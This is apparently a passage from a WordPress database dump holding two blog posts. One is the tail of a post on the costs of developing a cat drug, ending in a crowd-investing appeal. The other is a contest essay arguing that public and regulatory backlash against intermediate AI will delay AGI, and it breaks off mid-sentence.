/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those were the costs I avoided. The big costs I still needed to cover were the costs for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Legal fees</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Patent fees</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Patent-enabling work</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Physiologically-based pharmacokinetics, which I’ll explain below</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Consulting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. The trial itself</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Bioanalytics for the trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s break these down. First up, I needed to cover legal fees, which includes costs for incorporation, all the basic forms (NDAs, contracting agreements, etc.), and costs for looking over everyone else’s contracts. I worked with a lawyer who’s used to working with startups, so he allowed me to defer these fees, which technically I still haven’t paid. This only comes out to about $4k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The patent fees could also be deferred, but only for so long. Patents are everything in biotech, and for what I’m doing, doubly so. Because I’m working with already-known drugs, the bar for the results of the combination to be “novel and non-obvious” is very high. There’s also a huge incentive for other companies to try to piggyback off of/steal my work, as there’s no technical barrier for them to do so.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As such, I got the most prestigious, expensive patent lawyers I could and worked closely with them to make sure my patents were airtight. While I still tried to save money by doing as much of the grunt work as possible (e.g. writing the patent myself and having them correct it rather than having them write the patent), patent work is still not cheap. I’ve already paid $22k to them, and expect to pay more in the coming months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Part of getting a patent awarded is having concrete work to patent. You’re not supposed to patent an idea, but an invention. Now, in biotech, that distinction is blurred, given that all biotech patents are based on an effect in patients that won’t be seen until years after the patent is awarded. That’s the way it has to be, too, because nobody will give you funding to test a drug in patients until your drug has a rock-solid patent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, biotech patents are generally based on reasonably plausible evidence. It’s totally ok to do an in vitro study in a petri dish, and then say, “Based on this, we assume this drug will have&nbsp;<em>x</em>&nbsp;effect in people”. By the time your drug gets to market, it’ll either have that effect or it won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Doing experiments in petri dishes is definitely cheaper than doing a full-on trial in animals or humans. This is especially true for drugs that are both available and well-understood, like the drugs I’m working with. This is especially, especially true when you just need the experiment to be “good enough” to get a patent, rather than discover any deep scientific truth<a href=\"https://substack.com/inbox/post/73188475#footnote-3\">3</a>. However, it’s still not cheap, as you’re paying for the time and resources of multiple scientists. This ended up being around $13k all told.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After this, I wanted to jump straight into humans. I knew I could skip animal testing as the drugs had a history of being used in humans, and I got some free consulting around toxicology that told me I could skip tox as well<a href=\"https://substack.com/inbox/post/73188475#footnote-4\">4</a>. However, human testing is way more expensive (it eventually ended up being quoted at around $1.4 million), and I wasn’t confident on dose or dose intervals. So I ended up shelling out some money for physiologically-based pharmacokinetic modeling (PBPK).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>PBPK is basically a way of modeling the metabolism of a drug in the body using differential equations to represent all the different ways the drug is transformed, diffused, and transported as it goes from ingestion to excretion. It’s a really neat technology. Unfortunately, as I found out, the hype of PBPK has definitely outrun its actual usefulness, and I ended up getting only a limited amount of data from all of this.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the course of exploring the assumptions that we’d need for the model, though, the consultant and I did figure out that I’d need to change up the combo. So, it ended up being a useful exercise, in a weird way. The quoted cost for the PBPK modeling was $20k, but we ended up not being able to finish the project, so the total cost was $10k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the time that I realized I needed a serious clinical trials consultant, as there were a lot of details that I didn’t feel I had a firm grasp on. So, I ended up hiring a clinical trials consultant, who I still talk to pretty regularly. The running cost so far is about $7k.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After talking with the clinical trials consultant, finding a good clinical research organization (CRO) that could do human trials, and getting a quote for the human trial, the bottom fell out of the biotech market. Funding dried up, and I realized it was highly unlikely I was going to get the extra money necessary to do the full human trial. So I decided to take the money I had to do a cat trial instead, which is a decision I talked about in my previous post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eventually, I did connect with a really excellent cat CRO. They could handle everything on the trial side: animal housing and husbandry<a href=\"https://substack.com/inbox/post/73188475#footnote-5\">5</a>, administering the drug, taking the blood samples, and eventually reporting the results. For all this, they charged about $120,000, with 25% up front. You’ll notice this is an order of magnitude more expensive than anything else I spent money on so far, and an order of magnitude less expensive than the human trial. That’s pretty much how it goes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What they couldn’t handle, on the other hand, was bioanalytics: analyzing the blood samples to see the drug concentration over time. This is pretty complicated, especially when it comes to analyzing drugs that haven’t been administered to cats before, as the lab has to develop a new method suitable for cat blood. The cat CRO did point me in the direction of a good lab that they had worked with before for handling that sort of stuff, though, and that ended up running about $130k all told, with 40% up front<a href=\"https://substack.com/inbox/post/73188475#footnote-6\">6</a>. Bioanalytics is expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s a brief summary of all the money I’ve spent so far! Now, for those of you who are into addition, you might have noticed that, once the money comes due for the cat study and the bioanalytical analysis, it’s going to be about $300k, all told. You may also notice that I’ve only raised about $210k, including $20k of my own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The ask</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>So here comes the ask. I need your help to cover that gap. Now, I’m not asking for your lunch money or your rent money. This is definitely not more important than that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if you have extra funds and are looking to invest in a company that’s trying to do a lot of good for a lot of animals (and eventually a lot of humans), please consider helping up with our crowd-investing campaign. You’ll be investing in a SAFE alongside our lead investor,&nbsp;<a href=\"https://www.thoobik.com/\">Nathan Savir</a>, who’s investing additional funds to help us with our vision. You’ll be getting the exact same terms at the exact same valuation that he is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this is something you can help with, head to <a href=\"https://wefunder.com/highway.pharmaceuticals/\">our Wefunder page</a> to make a soft commitment on how much you’d be willing to invest (or, if you\'re an accredited investor who wants to invest $25k or more, contact me directly). We’ll be using this information to help us launch our actual crowd-investing campaign on Wefunder. Formal disclaimer is below.<a href=\"https://substack.com/inbox/post/73188475#footnote-7\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-1\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, this information doesn’t tend to be public, so this is almost certainly not the absolute cheapest a drug’s been developed for. It gives you a good idea of the orders of magnitude, at least.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-2\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And by valuing my own time at zero while spending hundreds of hours searching for drugs to repurpose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-3\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In case you can’t tell, I went with literally the lowest possible cost lab that didn’t seem like a total ripoff, which ended up being a lab in Oregon. This proved to be a headache. While they weren’t a ripoff, I did have to call the cellphone of the guy running the lab repeatedly in order to get my results, which I ended up getting 3 months after they were promised. To paraphrase&nbsp;<em>Dilbert</em>, in order to get things done, sometimes you need to charm them, and sometimes you just need to hound them until they recoil in pain at the sound of your voice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-4\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the more useful pieces of advice I used was to continually talk to consultants and service providers. They all have free intro calls before they start charging you, and it’s very easy to just use those as free consulting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-5\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This includes being really ethical, which I appreciated. They train the cats to be ok taking drugs and getting their blood drawn. When the cats reach a certain age, they get adopted out to loving families.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-6\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I should probably mention that the human trial cost of $1.4 million had the bioanalytics included. CROs vary in what they consider part of their duties. Some are literally only oversight, and require you to separately contract out housing, pharmacists, doctors, etc, while others handle much more. Given how small a team we are, we obviously preferred the latter kind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/inbox/post/73188475#footnote-anchor-7\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We are \'testing the waters\' to gauge investor interest in an offering under Regulation Crowdfunding. No money or other consideration is being solicited. If sent, it will not be accepted. No offer to buy securities will be accepted. No part of the purchase price will be received until a Form C is filed and only through Wefunder’s platform. Any indication of interest involves no obligation or commitment of any kind.</p>\n<!-- /wp:paragraph -->','How much a drug for cat costs to develop','','inherit','closed','closed','','308-revision-v1','','','2022-09-14 14:17:25','2022-09-14 14:17:25','',308,'https://trevorklee.com/?p=309',0,'revision','',0),
(311,1,'2022-10-19 15:36:14','2022-10-19 15:36:14','<!-- wp:paragraph -->\n<p><em>I’ve written this essay for the AI Worldview Prize, a competition held by FTX Future Fund in which they ask for essays that might change their view on Artificial General Intelligence (AGI) and its risks, which they take very seriously. As I’ve stated before, I still think the prize money is way too big for this. But, as long as it is this big, I will submit an essay, as I could use the money for my pharmaceutical endeavors, or, at the lower end, to pay my rent.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>There are a couple different ways to win money in this essay contest. The ones that pertain to this essay are as follows:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>1. $1.5 m for changing their probability of “AGI will be developed by January 1, 2043” from 20% to below 3%</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. $200k for publishing the canonical critique on whether AGI will be developed by January 1, 2043, whether or not it changes their probability estimates significantly</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>3.&nbsp; $50k to the three published analyses that most inform the Future Fund’s overall perspective on these issues, and $15k for the next 3-10 most promising contributions to the prize competition</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I don’t expect to win any of these prizes, mainly because the Future Fund’s way of thinking about these issues is alien to me. I don’t really understand how you can assign an exact numeric probability to the probability of AGI being developed by 2043, given how many assumptions go into whatever model you’re using to estimate this. And, given the uncertainties involved, I really don’t understand what information would change your probability estimates from 20% to 2%.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I mean, I used to study geosciences, and there were scores of papers arguing about how one would estimate the probability of, say, 1.5 degrees Celsius warming by the year 2050. To be clear, these weren’t even arguments about the probability of 1.5 degrees of warming by 2050, although there were plenty of those. These were arguments about how you would even make that sort of argument. So, these papers would address issues like:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><em>What kind of assumptions should you have to state in advance?</em></li><li><em>What are the probabilities of those assumptions, and how should those probabilities affect the ultimate probability of warming?</em></li><li><em>What sort of models are allowed? How should improvements in the models or in the computers used to run the models be incorporated into the estimates?</em></li><li><em>How should these models incorporate important assumptions if the assumptions don’t have a lot of data backing them up?</em></li><li><em>How should models update with updated information?</em></li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>As you can probably tell, these are really important issues to address if you want to be able to converge on common estimates of probability for future events! If these issues aren’t addressed, probability estimates won’t even be speaking the same language. And, if you ever read the International Panel on Climate Change (IPCC) report, all of these issues are covered in depth before they state their probabilities of various future events.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>If the IPCC didn’t do this, and they stated their probabilities of climate change related events like the FTX Future Fund does with AGI, with zero explanation of what models they were using to estimate these probabilities, the assumptions behind those models, or the certainty of those assumptions, I’m pretty sure geoscientists would riot. Or, at the very least, they’d complain a lot and try to get people fired. If FTX Future Fund wants to turn AGI forecasting into a serious field, I would definitely advise them to take a page from the IPCC in this respect at least.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>All of that being said, for the sake of this contest, I’m saying that the FTX Future Fund’s estimate of the probability of AGI should be reduced to 2%. The short version is that before AGI, there is going to be intermediate level AIs. These intermediate level AIs will have some highly publicized mishap (or, possibly, be involved in some scary military action). The public backlash and subsequent regulatory push will push back the timeline of AGI for a few decades at least.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>For the long version, read on.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On March 16, 1979, the movie&nbsp;<em>The China Syndrome</em>&nbsp;was released, starring Jane Fonda. In the movie, Jane Fonda plays an intrepid television reporter who discovers that a nuclear power plant came perilously close to melting down through its containment structure “all the way to China” (hence the title of the movie). The power plant officials cover up this near disaster, threatening Jane Fonda and her crew. The end of the movie is left deliberately ambiguous as to whether or not the coverup succeeded&nbsp;<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-1\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2 days after the movie was released, an executive at Westinghouse, one of the major providers of nuclear power equipment and services, was quoted in the&nbsp;<em>New York Times</em>&nbsp;as saying the movie was a “character assassination of an entire industry”, upset that that the power plant officials were portrayed as “morally corrupt and insensitive to their responsibilities to society”. This proved to be unfortunate timing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12 days after the movie was released, the Three Mile Island reactor in Pennsylvania experienced a partial meltdown. This was caused by mishandling of a “loss of coolant accident”, which in turn was caused by inadequate training and misleading signaling from safety detectors. Over the course of the partial meltdown, sketchy and misleading communication from the power plant officials caused state regulators to lose faith in them, calling in the Nuclear Regulatory Commission (NRC). Unfortunately, the NRC lacked authority to tell the power plant officials what to do, and so everyone bumbled along until eventually the situation was resolved. Later on, it was found out that the plant operator had been falsifying safety test results for years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8faae510-b7a9-4ba2-bd55-cec188f7d426_820x461.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8faae510-b7a9-4ba2-bd55-cec188f7d426_820x461.jpeg\" alt=\"7 Things The Simpsons Got Wrong About Nuclear | Department of Energy\" title=\"7 Things The Simpsons Got Wrong About Nuclear | Department of Energy\"/></a><figcaption>Fun fact: there is a persistent rumor that the operator of the Three Mile Island plant couldn’t see a certain warning signal because of his large belly. I assume Matt Groening was thinking of this when he decided to make Homer Simpson a nuclear power plant operator.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Nobody died as a result of the Three Mile Island partial meltdown. There was also no clear rise of radiation-related sickness or cancer around Three Mile Island in the years following the partial meltdown. While residents did have to temporarily evacuate, 98% of people returned within 3 weeks. Deer testing did see increased levels of cesium-137, but not to a dangerous amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the partial meltdown and subsequent scandal still proved to be a boon for anti-nuclear advocates. In May of 1979, 65,000 people attended an anti-nuclear rally in Washington DC, accompanied by then California governor Jerry Brown. In September of 1979, 200,000 people protested nuclear power in New York City, with a speech by none other than Jane Fonda. Speaking of Jane Fonda,&nbsp;<em>The China Syndrome</em>&nbsp;was a sleeper hit at the box office, earning $51.7 million on a budget of $5.9 million, and getting nominated for 4 Academy Awards, including Best Original Screenplay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly for our purposes, this incident proved to be a decisive turning point in nuclear power plants. Nuclear power plant construction reached a global peak in 1979. No new reactors were authorized to begin construction in the US between 1979 and 2012, even though<a href=\"https://www.eia.gov/energyexplained/electricity/use-of-electricity.php\">&nbsp;electricity retail sales just about doubled during that time</a>. Chernobyl was certainly the nail in the coffin for nuclear development, but the real decline started after the Three Mile Island incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe36b6de8-10f1-4844-b4f4-746e0ccf648a_1190x1364.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fe36b6de8-10f1-4844-b4f4-746e0ccf648a_1190x1364.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That means that the commercial case for all the new types of nuclear reactors was also made much more difficult. Any investor who might be tempted to invest in, say, a new type of molten salt reactor, or any intrepid operator who might have had a bright idea for how to improve one, must have been dissuaded by the fact that their idea would never see the light of day. In other words, there must have been a nuclear winter (although of a different sort than the one usually discussed).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When that Westinghouse executive was quoted in that<em>&nbsp;New York Times</em>&nbsp;article, he had no idea that he was speaking at the absolute peak of his industry. How could he have? Sure, he must have been aware of the anti-nuclear sentiment among the left, but that sentiment hadn’t stopped the growth of the nuclear industry thus far. He probably figured that the results that the nuclear industry was getting spoke for themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as we know now, that was a crucial turning point. Westinghouse and the rest of the nuclear industry surely saw themselves careening towards a Jetsons future, where everything was powered by nuclear energy. They thought the only barriers were technological, and treated the social barriers high-handedly. After all, they knew better. Instead, they were careening towards our current, carbon-heavy future, where very few things are powered by nuclear energy and a lot of things are powered by dead organisms that produce global warming as a byproduct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I fear that the dominant intellectual discourse around the rise of Artificial General Intelligence (AGI) is making the same mistakes as that Westinghouse executive in treating an exciting, dangerous new technology as a purely technological phenomenon while ignoring social aspects of that phenomenon. In the introduction to the prize that this essay is written for, Nick Becklestead at FFX claims there’s a 20% probability of AGI arising by January 1, 2043 and a 60% probability of AGI arising by January 1, 2100. In fact, part of the prize conditions are convincing him to significantly change his estimates. However, when he explains his reasoning for these estimates, he only cites technical considerations: hardware progress, algorithmic process, deep learning progress, etc. However, if the history of nuclear power in the US teaches us anything, social barriers can easily push back any timeline by 20 years or more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This factor has been overlooked because, up until now, AI has largely enjoyed a privileged position of being self-regulated. The only people who determine what various forms of AI can and can’t do have been, mostly, the people that work on them. The only exceptions to this in the majority of AI development&nbsp;<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-2\">2</a>&nbsp;have been social considerations, like how Google included “AI ethicists” in their release of their text-to-image AI, Imagen, to help avoid the creation of pornography and anything that smacks of “social stereotypes”. These are not existential threats to the development of AGI, though. They’re actually incredibly easy to get around, as evidenced by the rapid creation of text-to-image pornography generators<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-3\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if the general public (specifically, the protesting class) ever take AI risks as seriously as the rationalist/EA community, this will quickly change. There will be much more serious and existential barriers to the development of AI. There will be mass protests in the streets, government regulators swinging in from the trees, and padlocks placed on server rooms. Every proposed algorithmic change by OpenAI will have to go through three rounds of FCC review, each costing $500k and determined by 12 bureaucrats who all struggle with their email. AI progress will grind to a halt just as nuclear did.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Many people would stop me here and say, “But, if this happens in the West, it would just let China surge ahead with developing their own AI!” This is a mistake. If AI risks are taken seriously by Western bureaucrats, it’s probable that they would also eventually be taken seriously by Chinese bureaucrats. This can happen in two ways. First of all, if Western bureaucrats take AI risks seriously, some segment of the Chinese population will as well. They will protest in some form or another against AI.&nbsp; Protests in China have been occasionally effective in halting undesirable projects, like&nbsp;<a href=\"https://www.academia.edu/40839723/Anti_nuclear_protests_in_China\">these protests against nuclear plants</a>. This is the less likely way for AI development to be halted in China.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More likely is that Chinese bureaucrats would hear Western bureaucrats worrying about how AGI could become independent or a competing power source to the government, and take actions to stop that from happening to their own government. Historically, the Chinese government has reacted dramatically to any trend that threatens “social stability” or its control over the Chinese populace. It is very willing to sacrifice economic growth to do so. Witness&nbsp;<a href=\"https://www.bloomberg.com/news/articles/2022-06-23/china-tech-crackdown-eases-but-startups-worry-xi-may-up-regulatory-pressure\">its crackdown on Chinese tech giants</a>,&nbsp;<a href=\"https://www.bbc.com/news/world-asia-china-62830326\">its harsh COVID lockdowns</a>, or its persecution of literally any group that becomes popular (e.g. Falun Gong). If Western bureaucrats think that AI could be disruptive to the government’s functioning, Chinese bureaucrats will take that very seriously and react accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In short, if the Western chattering classes think that AI development poses a huge safety risk, they will convince politicians to place it under so many regulatory burdens that it will effectively be halted. If autocratic countries think that AI development could pose a risk to social stability or their own control, they will smother it. The AGI timeline could be extended by decades.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The real question would be how that would happen. That is, how does AI risk go from being a concern for Internet nerds to being a concern for the rest of humanity? When do we start to see Instagram posts about AI risk along with a donate link? When does Alexandria Ocasio Cortez mention AI risk in a viral tweet?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two main ways I see this happening. The first is if an intermediate level AI makes a heavily publicized mistake. The second is through the military.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the first isn’t hard to imagine. Somewhere in between where we are now and AGI, there are going to be intermediate level AIs, specialized AIs that are good at specific tasks that used to be done by humans. We’re already seeing some of that now with text models and text-to-image models. These intermediate level AIs will improve and expand in usage as they start to develop “strategic” thinking and are able to recommend or make management-type decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Intermediate AIs will make big splashes as they’re introduced and take over parts of the economy that used to be human-only. If one of them goes rogue or is used for an unsavory purpose, there could be a huge crackdown on AI. Here are a few possible scenarios:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>1. Someone creates a bundled AI that buys domains, fills them up with propaganda, then creates fake social media profiles to promote them. A future right wing populist is caught using one, possibly even winning an election through this tactic.&nbsp;</p><p>The social media platforms, domain registrars, and search engines band together to ban all such AIs. Congress demands that any providers of large enough datasets to create such an AI has to verify customers’ identities and how they’re using these datasets, with heavy criminal penalties for misuse. If someone is caught using or creating an AI that creates spam, they will get fined heavily. Anyone who has provided them with datasets that assist in this will also get fined heavily.&nbsp;</p><p>These “know your customer” regulations are so onerous that only academic labs and big corporations are able to overcome them, and these big academic/industrial teams are too heavily internally regulated to produce anything resembling AGI in the near future.</p><p>2. Someone creates an AI that’s a total security system for schools: cameras to detect threats, automated gates and fences to lockdown a school until the threat is eliminated. These become commonplace in schools.</p><p>During a school shooting, the AI refuses to release lockdown until the threat is neutralized. This clashes with students’ ability to evacuate. Parents demand that all AI security systems must have human-in-the-loop overrides at their most basic level, which is extended to all AI in general. It becomes impossible for AI to conceive of and execute plans independently.</p><p>3. Someone develops an AI populist: a VR avatar on video sites that packages and regurgitates conservative blog posts for views. At some point, it convinces a bunch of people that a California-area school is staffed entirely by pedophiles. They descend upon the school and riot, causing millions of dollars worth of damages and a few deaths.</p><p>It’s decided that AI speech is not constitutionally protected, and, in fact, creators of AI that generates speech can be held legally liable for damages caused by that speech. Not only do the creators of the AI populist get sued, but the creators of the speech model they use get sued, too. AI development slows immensely as everyone tries to figure out exactly what they’d be liable for.</p><p>4. A drug cartel uses AI to develop new forms of methamphetamine. This is an all-in-one solution: it models methamphetamine, sees where substitutions can be made, orders the substitutions, then tests them in an automated lab. This proves to be a really effective model, and the drug cartel floods the markets with various forms of cheap methamphetamine.</p><p>The Drug Enforcement Agency (DEA), in an effort to combat this, declares jurisdiction over all forms of AI. Anyone who sells or produces AI models has to make sure that their AI models are not being used to aid in the sale of illegal drugs. The DEA declares various forms of AI development as restricted, making the development of even routine deep learning take months of paperwork.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>None of these would be death knells for AI development. All of them would make AI development more difficult, more expensive, and subject to more regulation. If new AI models become subject to enough regulation, they will become as difficult and expensive to make as a new drug. If people get really freaked out about AI models (e.g. if somehow a bunch of kids die because of an AI), they will become as difficult and expensive to develop as a new nuclear plant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Those were examples of one category of ways I can see AI development getting caught up in social restrictions. Another way I can see is from the military.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The military has actually been worried about AI for a while. Basically, since the 70s, the military has technically had AI that’s capable of detecting threats and dealing with them autonomously through the “<a href=\"https://www.lockheedmartin.com/en-us/products/aegis-combat-system.html\">Aegis Combat System</a>”, which basically links together the radar, targeting, and missile launching of a battleship. So, the question since the 70s has been to what extent they should allow the AI to operate on its own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the 70s, the answer was simple: there needs to be a “human in the loop”. Otherwise, Aegis would literally just fire missiles at whatever came on its radar. As AI capabilities have grown, however, this question has become more complicated. There are now drones which can obey commands like “search and destroy within this targeted area”. Supposedly, the drones ask for confirmation that their targets are properly identified and ask for confirmation to fire, which means they have three levels of human in the loop: confirming the area, confirming the target, and confirming the command to fire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, given that the military loves blowing up stuff, there’s always a push to make humans less in the loop<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-4\">4</a>. For area confirmation, well, take Aegis. Aegis is largely meant as defensive anyways. So, as the argument goes, there’s no need to ask a human to confirm the area in which Aegis could be active. The area to look for targets is whatever area from which something could attack the battleship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, for confirming the target, isn’t the whole point of AI that it’s smarter than humans? If the billion dollar AI says something is a target, and the $30k/year grunt at the other end says it’s not, why are we believing the grunt? This is especially true if it’s an AI that was trained with a bunch of soldiers already on how to identify targets. Then, we’re basically weighing the expertise of a bunch of soldiers vs. the expertise of one<a href=\"https://trevorklee.substack.com/p/artificial-general-intelligence-agi#footnote-5\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For confirming the command to fire, that’s all well and good if time isn’t of the essence. But, if it is, that might be time we don’t have. Maybe you’re trying to defend your battleship, and a plane is coming into range right now. In 15 seconds it’ll be able to drop a bomb on your ship. Should the AI wait to confirm? Or, maybe you’re trying to assassinate a major terrorist leader, and this is the one time he’s been out in public in the last 15 years. In 30 seconds, he’ll go back to his cave. Can’t the drone just fire the missile itself?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe these arguments seem convincing to you. Maybe they don’t. However, they are steadily convincing more and more military people. Already, autonomous drones have been&nbsp;<a href=\"https://www.npr.org/2021/06/01/1002196245/a-u-n-report-suggests-libya-saw-the-first-battlefield-killing-by-an-autonomous-d\">allegedly used by Turkey to hunt down separatists</a>. And, in the US, we’re speedrunning Armageddon as&nbsp;<a href=\"https://www.fedscoop.com/ai-should-have-human-on-the-loop-not-in-the-loop-when-it-comes-to-nuke-detection-general-says/\">our generals make the same arguments as above about our nuclear arsenal</a>, trying to change “human-in-the-loop” to “human-on-the-loop”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is very easy to imagine a high-profile military mishap involving the same level of intermediate AI mentioned previously. Hopefully, this mishap will not involve the nuclear arsenal. It’s also easy to imagine a determined adversary using intermediate 